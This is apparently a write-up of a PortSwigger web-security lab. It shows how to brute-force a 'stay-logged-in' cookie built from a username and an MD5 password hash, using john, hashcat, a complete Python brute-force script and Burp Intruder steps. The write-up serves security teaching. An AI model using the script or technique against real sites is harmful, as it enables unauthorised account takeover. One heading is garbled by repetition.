Authentication Vulnerabilities: Lab 8: Brute-forcing a stay-logged-in cookie

Nov 7, 2025    #websecurity   #portswigger   #web-exploitation   #security-research   #authentication   #login   #username-enumeration   #response-timing   #portswigger-labs   #ctf-writeup   #python   #hashcat   #john   #cracking   #md5  

This lab allows users to stay logged in even after they close their browser session. The cookie used to provide this functionality is vulnerable to brute-forcing.

To solve the lab, brute-force Carlos’s cookie to gain access to his My account page.

Your credentials: wiener:peter Victim’s username: carlos Candidate passwords

Initial Reconnaissance/Discovery:

If navigate to the “My account” page we can see we can login and provided the option to “Stay logged in”.

If we click the box and login we can see in burp we are issued a cookie called stay-logged-in

Session Length:

What you may notice is that the cookie is set to expire on 01/01/3000, which is a little on the long side I think. In an actual test I would advise the web application owners to follow OWASP’s guidance regarding Session Expiration, which can be found here: https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html#session-expiration

The other thing you may notice is the cookie is encoded with base64, which is bad as that’s a two algorithm so we can easily decode it. Highlighting the cookie value will prompt burp to automatically decode it via the inspector.

As seen above it contains our users name and another encoded string after it, now I can see this is an MD5 hash, but that’s only down to experience having looked at these hashes alot over the years. However there is an easy way to identify the type of hash used by using hashid which is a built in tool in kali:

hashid "51dc30ddc473d43a6011e9ebba6ca770"

Now that output is pretty messy as it could be ANY of those right. Well we can also use online tools such as https://hashes.com/en/tools/hash_identifier

MD5 Hash Decryption Using John & Hashcat:

Now we know what type of hash it is, let’s try and decrypt it using john….granted I’m 99.9999999999% sure it’s going to be our password “peter” but let’s go through this so you understand the process.

First we will place our hash in a file.

echo "51dc30ddc473d43a6011e9ebba6ca770" >> lab8.hash

Now we can decrypt the hash using john the ripper and our password list.

john lab8.hash --format=Raw-MD5 --wordlist=pass.txt

+Note+: You will have to add the password peter to the pass.txt file.

You can also do this hashcat.

hashcat lab8.hash -m 0 pass.txt

The easiest way however is to just run an md5sum on the password value in the terminal.

echo -n peter | md5sum

+Note+: Ignore the trailing whitespace and dash - as this is just how md5sum reads from a stream of data, if you want though you can use awk to remove it by running the below command.

echo -n peter | md5sum | awk '{print $1}'

So now we know how the cookies are constructed we can bruteforce “carlos’” cookie. Usually I would do this using burp first however I want to do it in python today for fun.

Prep The Certificate:

If you want to proxy traffic through burp this is mandatory.

Open burp’s in built web browser and go to http://burpsuite & download the certificate by clicking on “CA Certificate” button on the top right corner.

Convert the certificate to the .pem format so the python requests module can use it.

openssl x509 -inform der -in certificate.cer -out certificate.pem

Imports:

First we import the modules we will need, requests, os, hashlib & base64. We also suppress the requests warning that will show.

import requests
import os
import hashlib
import base64
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

If we didn’t suppress the warnings the output would look like this.

Proxy Setup:

Now we declare our proxy so we can push all our traffic through burp, we also pass in the converted certificate.

proxy = 'http://127.0.0.1:8080'
os.environ['HTTP_PROXY'] = proxy
os.environ['HTTPS_PROXY'] = proxy
os.environ['REQUESTS_CA_BUNDLE'] = "certificate.pem"

Variable Declaration:

We declare an array of proxies to proxy our requests through as well as the unique url for our lab’s my-account page.

We are targeting this page directly as it has an easily searchable string that says “Your username is: [username]” we can use to determine if our login was successful

proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
url="https://0af400e0048bd07682fc06c7009100e4.web-security-academy.net/my-account?id=carlos"

Encode Payload Logic:

Due to how python encodes text it’s not as simple as just converting a value to MD5 & then base64 encoding it with the other values.

Feed in password list: First we feed in the password list the lab provides to us, & iterate over each entry.

We then strip the newline character from the end of each password entry.

Encode the passwords in MD5:*Encode the passwords in MD5*:*Encode the passwords in MD5*:*Encode the passwords in MD5*:*Encode the passwords in MD5*:*Encode the passwords in MD5*:*Encode the passwords in MD5*:*Encode the passwords in MD5*: We encode the password as MD5 using the hashlib library.

Prepare un-encoded payload string: We append the encoded password to the string "carlos:" creating the basis of our payload string.

Base64 Encode the payload: Now before we can base64 encode this string we need to encode it as ascii.

We then encode ascii text as base64.

Once done we then convert the base64 encoded text to utf-8 format so it’s in the correct format giving us our final payload. finalPayload=(payloadBase64.decode("utf-8"))

with open("pass.txt", 'r') as passes:
    for line in passes:
        #Strip New line character from passwords
        password=(line.rstrip('\n'))

        #Encode the password as md5
        md5encode=hashlib.md5(password.encode())

        #Create payload string
        payload=("carlos:"+md5encode.hexdigest())

        #Encode payload string into bytes first
        payloadBytes=payload.encode("ascii")

        #Encode the byte encoded payload into b64
        payloadBase64=base64.b64encode(payloadBytes)

        # Decode in utf-8 to remove leading "b"
        finalPayload=(payloadBase64.decode("utf-8"))

Now that we have our payload we need to send it to the application. For this we use the requests module passing it as the value to the stay-logged-in cookie.

        try:
            request=requests.get(url, proxies=proxies, verify=False, timeout=3, cookies={
                'stay-logged-in' : finalPayload, 'session' : 'nWcW1dq27KkFUPHTUzL2SvNqZzZ78QJS'
            })

We now search all request responses for the login confirmation string and then return the payload & cookie that was used for this.

            # Search for the known string upon login
            if 'Your username is: carlos' in request.text:
                print(f"Carlos password is {password} his cookie is {finalPayload}")

Error Handling:

These except clauses are used for error handling, which are needed as otherwise it will fail when an error is encountered.


        except requests.exceptions.HTTPError as errh:
           print ("Http Error:",errh)
        except requests.exceptions.ConnectionError as errc:
           print ("Error Connecting:",errc)
        except requests.exceptions.Timeout as errt:
           print ("Timeout Error:",errt)
        except requests.exceptions.RequestException as err:
           print ("OOps: Something Else",err)

#!/usr/bin/env python3
import requests
import os
import hashlib
import base64
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

proxy = 'http://127.0.0.1:8080'
os.environ['HTTP_PROXY'] = proxy
os.environ['HTTPS_PROXY'] = proxy
os.environ['REQUESTS_CA_BUNDLE'] = "certificate.pem"

proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
url="https://0af400e0048bd07682fc06c7009100e4.web-security-academy.net/my-account?id=carlos"

with open("pass.txt", 'r') as passes:
    for line in passes:
        #Strip New line character from passwords
        password=(line.rstrip('\n'))

        #Encode the password as md5
        md5encode=hashlib.md5(password.encode())

        #Create payload string
        payload=("carlos:"+md5encode.hexdigest())

        #Encode payload string into bytes first
        payloadBytes=payload.encode("ascii")

        #Encode the byte encoded payload into b64
        payloadBase64=base64.b64encode(payloadBytes)

        # Decode in utf-8 to remove leading "b"
        finalPayload=(payloadBase64.decode("utf-8"))

        try:
            request=requests.get(url, proxies=proxies, verify=False, timeout=3, cookies={
                'stay-logged-in' : finalPayload, 'session' : 'nWcW1dq27KkFUPHTUzL2SvNqZzZ78QJS'
            })
            # Search for the known string upon login
            if 'Your username is: carlos' in request.text:
                print(f"Carlos password is {password} his cookie is {finalPayload}")
        except requests.exceptions.HTTPError as errh:
           print ("Http Error:",errh)
        except requests.exceptions.ConnectionError as errc:
           print ("Error Connecting:",errc)
        except requests.exceptions.Timeout as errt:
           print ("Timeout Error:",errt)
        except requests.exceptions.RequestException as err:
           print ("OOps: Something Else",err)

Now if we run the python script we will actually solve the lab as we have completed the criteria by logging in with Carlos’ cookie, however to ensure this was not a fluke let’s take the values returned by the script and manually login.

We enter the returned creds & manually login.

We can login validating the creds.

With burpsuite this is alot simpler as we can just use intruder.

First we login as our known user and then send the request to intruder.

Now we need to change the id name to “carlos” & set our injection point as the “stay-logged-in” cookie value. It is also important to delete the “session” token as otherwise it will just re-auth as the “wiener” user.

Ensure that the password list for the lab is pasted in the payloads section.

Convert Our Passwords:

Now we need to encode our payloads like it expects. To do this click on the “add” button in the “payload processing” section.

Now we add the prefix of carlos:

Finally we base64 encode the whole payload

Your list should look like this.

Filter For The Correct Response:

Now we need to ensure the correct response is easy to find, again we will use the string “Your username is: carlos” under “settings” create grep match rule as shown.

Now start the attack.

Viewing Our Results:

Looking at the results in burpsuite we can filter using our grep rule and see we have found the correct payload again.

If we send the payload to decoder we can see it the MD5 hash value.

We can then simply use hashcat or john again to decrypt the hash.

echo "2345f10bb948c5665ef91f6773b3e455" >> lab8-2.hash
hashcat lab8-2.hash -m 0 pass.txt

+Note+: You do not need to decrypt the hashes in this way as we know the working cookie value, I just like to do this as often users will re-use passwords.



Next: Authentication Vulnerabilities: Lab 4: Broken brute-force protection, IP block